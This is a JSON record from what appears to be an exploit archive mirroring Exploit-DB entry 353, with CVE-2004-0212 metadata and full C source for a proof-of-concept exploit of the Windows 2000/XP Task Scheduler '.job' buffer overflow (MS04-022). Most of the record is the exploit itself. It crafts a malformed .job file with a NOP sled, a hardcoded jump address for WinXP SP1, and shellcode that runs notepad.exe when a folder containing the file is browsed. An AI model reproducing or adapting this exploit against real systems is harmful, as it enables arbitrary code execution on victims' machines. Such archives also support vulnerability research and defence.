{"exploit":{"id":"EDB-353","name":"Microsoft Windows Task Scheduler (XP/2000) - '.job' (MS04-022)","description":"Microsoft Windows Task Scheduler (XP/2000) - '.job' (MS04-022)","cves":["CVE-2004-0212"],"author":"anonymous","published":"2004-07-18","platform":"windows","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/353","path":"exploits/windows/local/353.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-353.c","vulnerabilities":[{"id":"CVE-2004-0212","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in the Task Scheduler for Windows 2000 and XP, and Internet Explorer 6 on Windows NT 4.0, allows local or remote attackers to execute arbitrary code via a .job file containing long parameters, as demonstrated using Internet Explorer and accessing a .job file on an anonymous share.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2004-0212","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2004-0212"},"updatedAt":"2024-08-08T00:10:03.705Z","retrievedAt":"2026-11-26T13:44:01.764Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-353.png?v=2","url":"https://exploitbin.com/exploits/EDB-353","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-353/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-353/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"//*************************************************************\n// Microsoft Windows 2K/XP Task Scheduler Vulnerability (MS04-022)\n// Proof-of-Concept Exploit for English WinXP SP1\n// 15 Jul 2004\n//\n// Running this will create a file \"j.job\".  When explorer.exe or any\n// file-open dialog box accesses the directory containing this file,\n// notepad.exe will be spawn.\n//\n// Greetz: snooq, sk and all guys at SIG^2 www security org sg\n//\n//*************************************************************\n\n#include <stdio.h>\n#include <windows.h>\n\n\nunsigned char jobfile[] =\n\"\\x01\\x05\\x01\\x00\\xD9\\xFF\\xFF\\xFF\\xFF\\xFF\\xFF\\xFF\\xFF\\xFF\\xFF\\xFF\"\n\"\\xFF\\xFF\\xFF\\xFF\\x46\\x00\\x92\\x00\\x00\\x00\\x00\\x00\\x3C\\x00\\x0A\\x00\"\n\"\\x20\\x00\\x00\\x00\\x00\\x14\\x73\\x0F\\x00\\x00\\x00\\x00\\x03\\x13\\x04\\x00\"\n\"\\xC0\\x00\\x80\\x21\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x01\\x44\\x00\\x3A\\x00\\x5C\\x00\\x61\\x00\"\n\"\\x2E\\x00\\x61\\x00\\x61\\x00\\x61\\x00\\x61\\x00\\x61\\x00\\x61\\x00\\x61\\x00\"\n\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\n\n\"\\x78\\x00\\x78\\x00\\x78\\x00\\x78\\x00\\x79\\x00\\x79\\x00\\x79\\x00\\x79\\x00\"\n\"\\x7A\\x00\\x7A\\x00\\x7A\\x00\\x7A\\x00\\x7B\\x00\\x7B\\x00\\x7B\\x00\"\n\"\\x5b\\xc1\\xbf\\x71\"\t\t\t// jmp esp in SAMLIB WinXP SP1\n\"\\x42\\x42\\x42\\x42\\x43\\x43\\x43\\x43\\x44\\x44\\x44\\x44\"\n\"\\x90\\x90\"\t\t\t\t\t// jmp esp lands here\n\"\\xEB\\x80\"\t\t\t\t\t// jmp backward into shellcode\n\"\\x61\\x00\\x61\\x00\\x61\\x00\\x61\\x00\\x61\\x00\\x61\\x00\\x61\\x00\"\n\"\\x61\\x00\\x61\\x00\\x61\\x00\\x61\\x00\\x61\\x00\\x61\\x00\\x61\\x00\\x61\\x00\"\n\"\\x61\\x00\\x61\\x00\\x61\\x00\\x61\\x00\\x61\\x00\\x61\\x00\\x61\\x00\\x61\\x00\"\n\"\\x61\\x00\\x61\\x00\\x61\\x00\\x61\\x00\\x61\\x00\\x61\\x00\\x61\\x00\\x61\\x00\"\n\"\\x61\\x00\\x61\\x00\\x61\\x00\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\"\n\"\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\"\n\"\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\"\n\"\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\"\n\"\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\"\n\"\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\"\n\"\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\"\n\"\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\"\n\"\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\"\n\"\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\"\n\"\\x20\\x20\\x20\\x20\\x20\\x20\\x00\\x00\\x00\\x00\\x04\\x00\\x44\\x00\\x3A\\x00\"\n\"\\x5C\\x00\\x00\\x00\\x07\\x00\\x67\\x00\\x75\\x00\\x65\\x00\\x73\\x00\\x74\\x00\"\n\"\\x31\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x03\\x13\\x04\\x00\\x00\\x00\"\n\"\\x00\\x00\\x01\\x00\\x30\\x00\\x00\\x00\\xD4\\x07\\x07\\x00\\x0F\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x0B\\x00\\x26\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\";\n\n\n/*\n * Harmless payload that spawns 'notepad.exe'... =p\n * Ripped from snooq's WinZip exploit\n */\n\nunsigned char shellcode[]=\n \"\\x33\\xc0\"\t\t// xor eax, eax\t\t\t// slight modification to move esp up\n \"\\xb0\\xf0\"\t\t// mov al, 0f0h\n \"\\x2b\\xe0\"\t\t// sub esp,eax\n \"\\x83\\xE4\\xF0\"\t// and esp, 0FFFFFFF0h\n \"\\x55\" // push ebp\n \"\\x8b\\xec\" // mov ebp, esp\n \"\\x33\\xf6\" // xor esi, esi\n \"\\x56\" // push esi\n \"\\x68\\x2e\\x65\\x78\\x65\" // push 'exe.'\n \"\\x68\\x65\\x70\\x61\\x64\" // push 'dape'\n \"\\x68\\x90\\x6e\\x6f\\x74\" // push 'ton'\n \"\\x46\" // inc esi\n \"\\x56\" // push esi\n \"\\x8d\\x7d\\xf1\" // lea edi, [ebp-0xf]\n \"\\x57\" // push edi\n \"\\xb8XXXX\" // mov eax, XXXX -> WinExec()\n \"\\xff\\xd0\" // call eax\n \"\\x4e\" // dec esi\n \"\\x56\" // push esi\n \"\\xb8YYYY\" // mov eax, YYYY -> ExitProcess()\n \"\\xff\\xd0\"; // call eax\n\n\nint main(int argc, char* argv[])\n{\n\tunsigned char *ptr = (unsigned char *)shellcode;\n\n\twhile (*ptr)\n\t{\n\t\tif (*((long *)ptr)==0x58585858)\n\t\t{\n\t\t\t*((long *)ptr) = (long)GetProcAddress(GetModuleHandle(\"kernel32.dll\"), \"WinExec\");\n\t\t}\n\t\tif (*((long *)ptr)==0x59595959)\n\t\t{\n\t\t\t*((long *)ptr) = (long)GetProcAddress(GetModuleHandle(\"kernel32.dll\"), \"ExitProcess\");\n\t\t}\n\t\tptr++;\n\t}\n\n\tFILE *fp;\n\tfp = fopen(\"j.xxx\", \"wb\");\n\tif(fp)\n\t{\n\t\tunsigned char *ptr = jobfile + (31 * 16);\n\t\tmemcpy(ptr, shellcode, sizeof(shellcode) - 1);\n\n\t\tfwrite(jobfile, 1, sizeof(jobfile)-1, fp);\n\t\tfclose(fp);\n\t\tDeleteFile(\"j.job\");\n\t\tMoveFile(\"j.xxx\", \"j.job\");\n\t}\n\treturn 0;\n}\n\n// milw0rm.com [2004-07-18]","sha256":"9515cd14b5d0813e0ff07aef071b3b5f72abf6e29b3ade52ce2615be8ae7751d","bytes":6038,"fetchedAt":"2026-11-26T13:09:57.524Z","encoding":"utf-8 (display only; download retains original bytes)"}